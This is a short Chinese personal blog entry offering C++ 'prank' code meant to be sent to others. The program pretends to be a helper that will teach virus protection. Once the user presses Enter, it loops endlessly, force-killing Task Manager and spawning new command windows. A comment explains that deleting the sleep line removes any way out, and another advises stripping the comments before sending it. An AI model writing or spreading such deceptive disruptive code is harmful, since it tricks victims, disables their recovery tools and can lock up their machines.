好玩的

· · 个人记录

很好的损人代码

//这是一个不基于windows.h的坑人代码。(发给别人时记得删掉) 
#define BITS 1
//把上一行注释掉就不用万能头 
#ifdef BITS
    #include <bits/stdc++.h>
    #warning "It wiil be a little slow when the code is being compiled."
#else
    #include <cstdio>
    #include <cstdlib>
    #warning "The operation you do will be influenced by the .h file,you'd better use the bits/stdc++.h to program your code."  
#endif

using namespace std;

int main(void)
{
    //st.
    printf("Hello!\n");
    system("powershell.exe Sleep 0.2"),system("cls");
    printf("我是你的\"小助手\"。\n");
    system("powershell Sleep 0.4"),system("cls");
    printf("我会教你如何保护电脑不受病毒的攻击。\n");
    system("powershell Sleep 1.3"),system("cls");
    printf("准备好了就按下回车键(\"Enter\")。\n");
    getchar();
    system("cls");
    //ed.
    //st.~ed.这一段区间的代码都可以注释掉,属于铺垫。 
    while(true)
    {
        system("taskkill -im taskmgr.exe -f -t");
        system("cls");
        system("start cmd /k echo SEE YOU AGAIN\n");
        system("powershell Sleep 1.5");
        //如果你不想留活路,可以把上一行注释掉。 
    }
    return 0;
}